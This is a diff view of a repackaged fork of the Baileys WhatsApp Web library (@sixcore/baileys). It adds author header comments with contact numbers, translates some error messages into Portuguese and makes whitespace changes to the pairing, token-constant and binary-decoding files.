const platformType = platform.toUpperCase();
|
|
70
81
|
return (proto.DeviceProps.PlatformType[platformType] ||
|
|
71
82
|
proto.DeviceProps.PlatformType.CHROME);
|
|
72
83
|
};
|
|
73
|
-
|
|
84
|
+
|
|
74
85
|
export const generateRegistrationNode = ({ registrationId, signedPreKey, signedIdentityKey }, config) => {
|
|
75
86
|
const appVersionBuf = createHash("md5")
|
|
76
87
|
.update(config.version.join("."))
|
|
@@ -115,7 +126,7 @@ export const generateRegistrationNode = ({ registrationId, signedPreKey, signedI
|
|
|
115
126
|
};
|
|
116
127
|
return proto.ClientPayload.fromObject(registerPayload);
|
|
117
128
|
};
|
|
118
|
-
|
|
129
|
+
|
|
119
130
|
export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentityKey, signalIdentities }) => {
|
|
120
131
|
const msgId = stanza.attrs.id;
|
|
121
132
|
const pairSuccessNode = getBinaryNodeChild(stanza, "pair-success");
|
|
@@ -146,7 +157,7 @@ export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentit
|
|
|
146
157
|
: WA_ADV_ACCOUNT_SIG_PREFIX;
|
|
147
158
|
const accountMsg = Buffer.concat([accountSignaturePrefix, deviceDetails, signedIdentityKey.public]);
|
|
148
159
|
if (!Curve.verify(accountSignatureKey, accountMsg, accountSignature)) {
|
|
149
|
-
throw new Boom("
|
|
160
|
+
throw new Boom("Falha ao verificar a assinatura da conta");
|
|
150
161
|
}
|
|
151
162
|
const deviceMsg = Buffer.concat([
|
|
152
163
|
WA_ADV_DEVICE_SIG_PREFIX,
|
|
@@ -189,7 +200,7 @@ export const configureSuccessfulPairing = (stanza, { advSecretKey, signedIdentit
|
|
|
189
200
|
reply
|
|
190
201
|
};
|
|
191
202
|
};
|
|
192
|
-
|
|
203
|
+
|
|
193
204
|
export const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
|
|
194
205
|
account = { ...account };
|
|
195
206
|
if (!includeSignatureKey || !account.accountSignatureKey?.length) {
|
|
@@ -197,4 +208,3 @@ export const encodeSignedDeviceIdentity = (account, includeSignatureKey) => {
|
|
|
197
208
|
}
|
|
198
209
|
return proto.ADVSignedDeviceIdentity.encode(account).finish();
|
|
199
210
|
};
|
|
200
|
-
//=======================================================//
|
|
@@ -1,4 +1,15 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
export const TAGS = {
|
|
3
14
|
LIST_EMPTY: 0,
|
|
4
15
|
DICTIONARY_0: 236,
|
|
@@ -1290,7 +1301,7 @@ export const SINGLE_BYTE_TOKENS = [
|
|
|
1290
1301
|
"03",
|
|
1291
1302
|
"screen_height"
|
|
1292
1303
|
];
|
|
1293
|
-
|
|
1304
|
+
|
|
1294
1305
|
export const TOKEN_MAP = {};
|
|
1295
1306
|
for (const [i, SINGLE_BYTE_TOKEN] of SINGLE_BYTE_TOKENS.entries()) {
|
|
1296
1307
|
TOKEN_MAP[SINGLE_BYTE_TOKEN] = { index: i };
|
|
@@ -1300,4 +1311,3 @@ for (const [i, DOUBLE_BYTE_TOKEN] of DOUBLE_BYTE_TOKENS.entries()) {
|
|
|
1300
1311
|
TOKEN_MAP[element] = { dict: i, index: j };
|
|
1301
1312
|
}
|
|
1302
1313
|
}
|
|
1303
|
-
//=======================================================//
|
package/lib/WABinary/decode.js
CHANGED
|
@@ -1,9 +1,20 @@
|
|
|
1
|
-
|
|
1
|
+
//========================================//
|
|
2
|
+
/**
|
|
3
|
+
* @project @sixcore/baileys
|
|
4
|
+
* @author Sixx.js </>🌿
|
|
5
|
+
* @version 1.0.3
|
|
6
|
+
* @license MIT
|
|
7
|
+
* @country Mozambique 🇲🇿♥️
|
|
8
|
+
* @chamadas || sms +258860817689
|
|
9
|
+
* @whatsApp +55889616-2417 || +258851907875
|
|
10
|
+
* @description Biblioteca Node.js para integração e automação no WhatsApp usando Baileys
|
|
11
|
+
*/
|
|
12
|
+
|
|
2
13
|
import { jidEncode, WAJIDDomains } from "./jid-utils.js";
|
|
3
14
|
import * as constants from "./constants.js";
|
|
4
15
|
import { promisify } from "util";
|
|
5
16
|
import { inflate } from "zlib";
|
|
6
|
-
|
|
17
|
+
|
|
7
18
|
const inflatePromise = promisify(inflate);
|
|
8
19
|
export const decompressingIfRequired = async (buffer) => {
|
|
9
20
|
if (2 & buffer.readUInt8()) {
|
|
@@ -14,12 +25,12 @@ export const decompressingIfRequired = async (buffer) => {
|
|
|
14
25
|
}
|
|
15
26
|
return buffer;
|
|
16
27
|
};
|
|
17
|
-
|
|
28
|
+
|
|
18
29
|
export const decodeDecompressedBinaryNode = (buffer, opts, indexRef = { index: 0 }) => {
|
|
19
30
|
const { DOUBLE_BYTE_TOKENS, SINGLE_BYTE_TOKENS, TAGS } = opts;
|
|
20
31
|
const checkEOS = (length) => {
|
|
21
32
|
if (indexRef.index + length > buffer.length) {
|
|
22
|
-
throw new Error("
|
|
33
|
+
throw new Error("fim do fluxo");
|
|
23
34
|
}
|
|
24
35
|
};
|
|
25
36
|
const next = () => {
|
|
@@ -232,9 +243,8 @@ export const decodeDecompressedBinaryNode = (buffer, opts, indexRef = { index: 0
|
|
|
232
243
|
content: data
|
|
233
244
|
};
|
|
234
245
|
};
|
|
235
|
-
|
|
246
|
+
|
|
236
247
|
export const decodeBinaryNode = async (buff) => {
|
|
237
248
|
const decompBuff = await decompressingIfRequired(buff);
|
|
238
249
|
return decodeDecompressedBinaryNode(decompBuff, constants);
|
|
239
250
|
};
|
|
240
|
-
//=======================================================//
|